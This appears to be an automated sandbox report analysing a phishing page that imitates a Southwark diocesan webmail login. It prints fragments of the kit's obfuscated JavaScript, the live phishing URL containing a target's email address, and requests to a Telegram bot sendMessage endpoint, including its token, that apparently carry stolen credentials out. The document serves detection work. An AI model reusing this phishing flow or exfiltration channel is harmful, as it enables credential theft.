Edit tour

Windows Analysis Report
https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

Overview

General Information

Sample URL:	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org
Analysis ID:	1633669
Infos:

Detection

HTMLPhisher

Score:	92
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Yara detected HtmlPhish10

Yara detected HtmlPhish44

Javascript uses Clearbit API to dynamically determine company logos

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML title does not match URL

Invalid 'copyright' link found

Javascript checks online IP of machine

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w11x64_office

chrome.exe (PID: 5548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 7156 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1828,i,7476803358953529829,13947303041757850518,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241209-180048.133000 --mojo-platform-channel-handle=2700 /prefetch:3 MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 6348 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org" MD5: 290DF23002E9B52249B5549F0C668A86)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_72	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Suricata Signatures

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T13:51:17.287748+0100	1810007	1	Potentially Bad Traffic	192.168.2.25	60653	149.154.167.220	443	TCP
2025-03-10T13:51:21.524177+0100	1810007	1	Potentially Bad Traffic	192.168.2.25	60655	149.154.167.220	443	TCP
2025-03-10T13:51:39.269489+0100	1810007	1	Potentially Bad Traffic	192.168.2.25	60664	149.154.167.220	443	TCP
2025-03-10T13:51:42.394903+0100	1810007	1	Potentially Bad Traffic	192.168.2.25	60666	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

Avira URL Cloud: detection malicious, Label: phishing

Antivirus detection for URL or domain

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html

Avira URL Cloud: Label: phishing

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.4.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_72, type: DROPPED

Javascript uses Clearbit API to dynamically determine company logos

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html

HTTP Parser: var _$_17af=["hide","#msg","","val","#ai","animate","#automail","show","#inputbar","click","#back1","substr","hash","location","test","#errror","focus","@","indexof",".","tolowercase","touppercase","bmv4dc5waha=","#mgss","preventdefault","#pr","html","text","#logoname",".domain","#sub_btn","ready","appversion","clientinformation","language","display","style","loader","getelementsbyclassname","none","href","/","split","substring","https://image.thum.io/get/width/1200/http://","backgroundimage","body","url(\'","\')","overlay","block","modal","error","#error","lessthan4","#lessthan4","msg","submitbtn","#submit-btn","seclgss","#sec-lg-ss","frgpsw","#frg-psw","copy","#copy","placeholder","emltxt","attr","#email","pswtxt","#password","charat","slice","https://logo.clearbit.com/","https://www.google.com/s2/favicons?domain=","#logoimg","fail","done","get","src","#favicon"," ","emllogin","#loginmgs","title"," - ","mail","type","password","#pass-eye","verifyingtext","length",", "," +--------n","email : ","\x0a","pa...

Javascript uses Telegram API

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

HTTP Parser: Number of links: 0

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

HTTP Parser: Title: Southwark - Mail does not match URL

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html

HTTP Parser: var _$_dc21=["get","https://ipinfo.io/json","open","onload","status","responsetext","parse","failed to fetch ip address","onerror","send","&type=mx","json","answer","length","\x0a","join","data","","map","no-mx","mx-error","ip","country","city","region","appversion","clientinformation","language","userlanguage","substring","password must be at least 4 characters long.","invalid password. please enter the correct information.","the account does not exist. please enter a different account.","email","password","login","secure login session","copyright \xa9 2025","verifying...","email login","mail","your email has been successfully activated.","thank you. you will receive your file in your email shortly.","\u5bc6\u7801\u957f\u5ea6\u5fc5\u987b\u5927\u4e8e4\u4e2a\u5b57\u7b26\u3002","\u65e0\u6548\u7684\u5bc6\u7801\u3002\u8bf7\u8f93\u5165\u6b63\u786e\u7684\u4fe1\u606f\u3002","\u8be5\u8d26\u6237\u4e0d\u5b58\u5728\u3002\u8bf7\u8f93\u5165\u5176\u4ed6\u8d26\u6237\u3002","\u90ae\u7bb1","\u5bc6\u7801","\u767...

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

Sample URL: PII: jake.totam@southwark.anglican.org

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

HTTP Parser: <input type="password" .../> found

Source: https://www.southwark.anglican.org/

HTTP Parser: No favicon

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="author".. found
Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="author".. found
Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="author".. found
Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="author".. found
Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="author".. found

Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="copyright".. found
Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="copyright".. found
Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="copyright".. found
Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="copyright".. found
Source: https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.25:60651 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.25:60659 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.67:443 -> 192.168.2.25:60667 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.25:60668 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.25:60653 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.25:60664 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.25:60666 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.25:60655 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.25:60645 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.75
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.67

Source: global traffic	HTTP traffic detected: GET /wp-admin/mail.verify/interface.root/login.php/inbox.html HTTP/1.1Host: kwikkopyegypt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://kwikkopyegypt.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://kwikkopyegypt.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://kwikkopyegypt.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/axios/0.20.0/axios.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s2/favicons?domain=?v=BUILD_HASH HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJe2yQEIo7bJAQiKksoBCKmdygEIv4TLAQiUocsBCIWgzQEI4tDOAQid0s4BCI7TzgEY9snNAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /get/width/1200/http://southwark.anglican.org HTTP/1.1Host: image.thum.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s2/favicons?domain=southwark.anglican.org HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Origin: https://kwikkopyegypt.comX-Client-Data: CJe2yQEIo7bJAQiKksoBCKmdygEIv4TLAQiUocsBCIWgzQEI4tDOAQid0s4BCI7TzgEY9snNAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: /Origin: https://kwikkopyegypt.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resolve?name=southwark.anglican.org&type=MX HTTP/1.1Host: dns.googleConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: /Origin: https://kwikkopyegypt.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resolve?name=southwark.anglican.org&type=MX HTTP/1.1Host: dns.googleConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bot7288767743:AAGRVsMLRSfD1NGxN7FxB_HXGEFvLGfPn9w/sendMessage HTTP/1.1Host: api.telegram.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: /Origin: https://kwikkopyegypt.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bot7288767743:AAGRVsMLRSfD1NGxN7FxB_HXGEFvLGfPn9w/sendMessage HTTP/1.1Host: api.telegram.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/officeclicktorun.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.18129; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v9s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.18129; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.18129; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.southwark.anglican.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.southwark.anglican.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.southwark.anglican.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: kwikkopyegypt.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: kit.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: image.thum.io
Source: global traffic	DNS traffic detected: DNS query: ka-f.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: dns.google
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: www.southwark.anglican.org

Source: unknown

HTTP traffic detected: POST /bot7288767743:AAGRVsMLRSfD1NGxN7FxB_HXGEFvLGfPn9w/sendMessage HTTP/1.1Host: api.telegram.orgConnection: keep-aliveContent-Length: 720sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0Origin: https://kwikkopyegypt.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://kwikkopyegypt.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCross-Origin-Resource-Policy: cross-originContent-Type: text/html; charset=UTF-8X-Content-Type-Options: nosniffDate: Mon, 10 Mar 2025 12:50:49 GMTServer: sffeContent-Length: 1593X-XSS-Protection: 0Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: cloudflareDate: Mon, 10 Mar 2025 12:51:47 GMTContent-Type: text/htmlContent-Length: 553Connection: closeCF-RAY: 91e2f20c3a46e56c-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: cloudflareDate: Mon, 10 Mar 2025 12:51:49 GMTContent-Type: text/htmlContent-Length: 553Connection: closeCF-RAY: 91e2f21cfcb642f7-EWR

Source: chromecache_74.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_76.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
